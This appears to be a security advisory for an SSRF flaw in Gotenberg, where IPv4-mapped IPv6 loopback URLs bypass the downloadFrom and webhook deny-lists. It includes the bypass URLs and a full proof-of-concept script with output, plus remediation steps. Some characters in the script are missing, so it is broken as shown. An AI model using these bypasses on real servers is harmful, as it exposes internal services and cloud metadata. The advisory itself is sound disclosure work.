PT-2026-38386 · Go · Github.Com/Gotenberg/Gotenberg/V8

Published

2026-05-07

·

Updated

2026-05-07

·

CVE-2026-42596

CVSS v3.1

9.4

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Summary

The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.

Details

The issue originates from the shipped default deny-list regexes and the way those regexes are applied:
  • pkg/modules/api/api.go:198-200 defines the default api-download-from-deny-list.
  • pkg/modules/webhook/webhook.go:41-43 defines the default webhook-deny-list.
  • pkg/gotenberg/filter.go:20-69 evaluates those patterns with regexp2 using case-sensitive matching.
The attacker-controlled URL then reaches outbound request sinks:
  • pkg/modules/api/context.go:208-282
  • Reads attacker-supplied downloadFrom.
  • Calls gotenberg.FilterDeadline(...).
  • Issues an outbound GET with retryablehttp.NewRequest(...) and client.Do(...).
  • pkg/modules/webhook/middleware.go:99-217
  • Reads Gotenberg-Webhook-Url and Gotenberg-Webhook-Events-Url.
  • Calls gotenberg.FilterDeadline(...).
  • Constructs a client for outbound delivery.
  • pkg/modules/webhook/client.go:39-152
  • Sends the success or error webhook request.
  • pkg/modules/webhook/client.go:155-216
  • Sends the webhook event request.
Why the bypass works:
  1. The default deny-list only blocks lowercase http:// and https:// prefixes.
  2. The filtering logic performs case-sensitive regex matching on the raw user input.
  3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like http://[::ffff:127.0.0.1]:18081/....
  4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.
Confirmed bypass used during verification:
  • http://[::ffff:127.0.0.1]:18081/page 1.pdf
  • http://[::ffff:127.0.0.1]:18082/upload
  • http://[::ffff:127.0.0.1]:18082/events
This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.

PoC

One-command verification

From the repository root:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify ssrf poc.sh
What the script does:
  1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
  2. Starts Gotenberg on 127.0.0.1:3000.
  3. Starts an internal-only helper listener inside the same container network namespace.
  4. Verifies downloadFrom SSRF by forcing Gotenberg to fetch a PDF from http://[::ffff:127.0.0.1]:18081/page 1.pdf.
  5. Verifies webhook SSRF by forcing Gotenberg to POST to http://[::ffff:127.0.0.1]:18082/upload and http://[::ffff:127.0.0.1]:18082/events.
  6. Writes evidence artifacts to disk.
Expected success output:
[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page 1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener
Evidence files created by the script:
  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json
  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log

Manual evidence commands

The following commands were run after the verifier completed successfully:
jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'
Observed output:
{
 "page 1.pdf": {
  "CreateDate": "2025:02:17 14:46:38+00:00",
  "FileType": "PDF",
  "FileTypeExtension": "pdf",
  "Linearized": "No",
  "MIMEType": "application/pdf",
  "ModifyDate": "2025:02:17 14:46:38+00:00",
  "PDFVersion": 1.7,
  "PageCount": 1,
  "Producer": "PDFTron built-in office converter, V11.2.0-d27340a176
",
  "SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
 }
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json
PoC Video:
Interpretation:
  • The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
  • The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.

verify ssrf poc.sh

#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "${BASH SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG NAME="${GOTENBERG NAME:-gotenberg-ssrf-poc}"
HELPER NAME="${HELPER NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT DIR="${ARTIFACT DIR:-$ROOT/tmp/poc/artifacts}"
TEST PDF="$ROOT/test/integration/testdata/page 1.pdf"
DOWNLOAD JSON="$ARTIFACT DIR/downloadfrom-metadata.json"
WEBHOOK LOG="$ARTIFACT DIR/webhook.log"
HELPER SCRIPT="$ARTIFACT DIR/internal helper.py"
DOWNLOAD BYPASS URL="http://[::ffff:127.0.0.1]:18081/page 1.pdf"
WEBHOOK UPLOAD BYPASS URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK EVENTS BYPASS URL="http://[::ffff:127.0.0.1]:18082/events"
PDF ENGINE FLAGS=(
 "--pdfengines-merge-engines=qpdf"
 "--pdfengines-split-engines=qpdf"
 "--pdfengines-flatten-engines=qpdf"
 "--pdfengines-convert-engines=qpdf"
 "--pdfengines-read-metadata-engines=exiftool"
 "--pdfengines-write-metadata-engines=exiftool"
 "--pdfengines-encrypt-engines=qpdf"
 "--pdfengines-embed-engines=qpdf"
 "--pdfengines-read-bookmarks-engines=qpdf"
 "--pdfengines-write-bookmarks-engines=qpdf"
 "--pdfengines-watermark-engines=qpdf"
 "--pdfengines-stamp-engines=qpdf"
 "--pdfengines-rotate-engines=qpdf"
)

red() { printf '033[31m%s033[0m
' "$*"; }
green() { printf '033[32m%s033[0m
' "$*"; }
blue() { printf '033[34m%s033[0m
' "$*"; }

cleanup() {
 docker rm -f "$HELPER NAME" >/dev/null 2>&1 || true
 docker rm -f "$GOTENBERG NAME" >/dev/null 2>&1 || true
}

fail() {
 red "$1"
 printf '
--- gotenberg logs ---
'
 docker logs "$GOTENBERG NAME" 2>/dev/null || true
 printf '
--- helper logs ---
'
 docker logs "$HELPER NAME" 2>/dev/null || true
 exit 1
}

trap cleanup EXIT

mkdir -p "$ARTIFACT DIR"
: > "$WEBHOOK LOG"

if [[ ! -f "$TEST PDF" ]]; then
 red "Missing test PDF: $TEST PDF"
 exit 1
fi

if [[ ! -f "$DOCKERFILE" ]]; then
 red "Missing Dockerfile: $DOCKERFILE"
 exit 1
fi

if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
 blue "[1/6] Building slim verification image: $IMAGE"
 docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
 blue "[1/6] Reusing existing image: $IMAGE"
fi

blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm 
 --name "$GOTENBERG NAME" 
 -p "$PORT:3000" 
 "$IMAGE" 
 --webhook-enable-sync-mode=true 
 "${PDF ENGINE FLAGS[@]}" >/dev/null

for  in $(seq 1 45); do
 if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
  break
 fi
 sleep 1
done

if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
 fail "Gotenberg did not become healthy"
fi

cat > "$HELPER SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread

PDF PATH = Path("/srv/page 1.pdf")
LOG PATH = Path("/work/webhook.log")
PDF BYTES = PDF PATH.read bytes()


class DownloadHandler(BaseHTTPRequestHandler):
  def do GET(self):
    self.send response(200)
    self.send header("Content-Type", "application/pdf")
    self.send header("Content-Disposition", 'attachment; filename="page 1.pdf"')
    self.send header("Content-Length", str(len(PDF BYTES)))
    self.end headers()
    self.wfile.write(PDF BYTES)

  def log message(self, fmt, *args):
    return


class WebhookHandler(BaseHTTPRequestHandler):
  def do POST(self):
    length = int(self.headers.get("Content-Length", "0"))
    body = self.rfile.read(length)
    with LOG PATH.open("a", encoding="utf-8") as f:
      f.write(
        f"{self.command} {self.path} len={len(body)} "
        f"content-type={self.headers.get('Content-Type', '')}
"
      )
    self.send response(200)
    self.end headers()

  do PATCH = do POST
  do PUT = do POST

  def log message(self, fmt, *args):
    return


def serve(addr, handler):
  HTTPServer(addr, handler).serve forever()


Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()

print("internal helper ready", flush=True)
Event().wait()
PY

blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm 
 --name "$HELPER NAME" 
 --network "container:$GOTENBERG NAME" 
 -v "$TEST PDF:/srv/page 1.pdf:ro" 
 -v "$ARTIFACT DIR:/work" 
 -v "$HELPER SCRIPT:/app/internal helper.py:ro" 
 python:3.11-alpine 
 python /app/internal helper.py >/dev/null

for  in $(seq 1 20); do
 if docker logs "$HELPER NAME" 2>&1 | grep -q "internal helper ready"; then
  break
 fi
 sleep 1
done

if ! docker logs "$HELPER NAME" 2>&1 | grep -q "internal helper ready"; then
 fail "Internal helper did not start"
fi

blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD BYPASS URL"
download status="$(
 curl -sS 
  -o "$DOWNLOAD JSON" 
  -w '%{http code}' 
  -X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" 
  -F "downloadFrom=[{"url":"$DOWNLOAD BYPASS URL"}]"
)"

if [[ "$download status" != "200" ]]; then
 cat "$DOWNLOAD JSON" 2>/dev/null || true
 fail "downloadFrom verification failed with HTTP $download status"
fi

if ! jq -e 'has("page 1.pdf")' "$DOWNLOAD JSON" >/dev/null 2>&1; then
 cat "$DOWNLOAD JSON" || true
 fail "downloadFrom verification failed: expected metadata for page 1.pdf"
fi

green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"

blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK UPLOAD BYPASS URL"
webhook status="$(
 curl -sS 
  -o /dev/null 
  -w '%{http code}' 
  -X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" 
  -H "Gotenberg-Webhook-Url: $WEBHOOK UPLOAD BYPASS URL" 
  -H "Gotenberg-Webhook-Events-Url: $WEBHOOK EVENTS BYPASS URL" 
  -F "files=@$TEST PDF"
)"

if [[ "$webhook status" != "204" ]]; then
 fail "webhook verification failed with HTTP $webhook status"
fi

if ! grep -q '^POST /upload ' "$WEBHOOK LOG"; then
 cat "$WEBHOOK LOG" || true
 fail "webhook verification failed: /upload was not hit"
fi

if ! grep -q '^POST /events ' "$WEBHOOK LOG"; then
 cat "$WEBHOOK LOG" || true
 fail "webhook verification failed: /events was not hit"
fi

green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"

blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s
' "$DOWNLOAD JSON"
printf 'webhook log:     %s
' "$WEBHOOK LOG"

printf '
--- downloadFrom metadata excerpt ---
'
jq '{filename present: has("page 1.pdf"), sample keys: (."page 1.pdf" | keys[0:6])}' "$DOWNLOAD JSON"

printf '
--- webhook log ---
'
cat "$WEBHOOK LOG"

printf '
'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.
'

Impact

This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.
Affected users are operators who rely on the default downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:
  • Read content from internal HTTP endpoints through downloadFrom.
  • Trigger state-changing POST/PATCH/PUT requests through the webhook feature.
  • Reach services bound only to localhost from the perspective of the Gotenberg host or container.

Remediation

  1. Normalize and structurally validate URLs before any allow-list or deny-list decision. Parse with net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.
  2. Replace regex-only private-address filtering with resolved IP validation. Resolve the hostname, evaluate every resolved IP with net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.
  3. Reconsider the security default for outbound URL features. Either disable downloadFrom and webhook by default, or ship a strict default policy that only allows http/https plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to downloadFrom, webhook, error URLs, and event URLs.

Fix

SSRF

Weakness Enumeration

Related Identifiers

CVE-2026-42596
GHSA-4VMC-GM8V-M35H

Affected Products

Github.Com/Gotenberg/Gotenberg/V8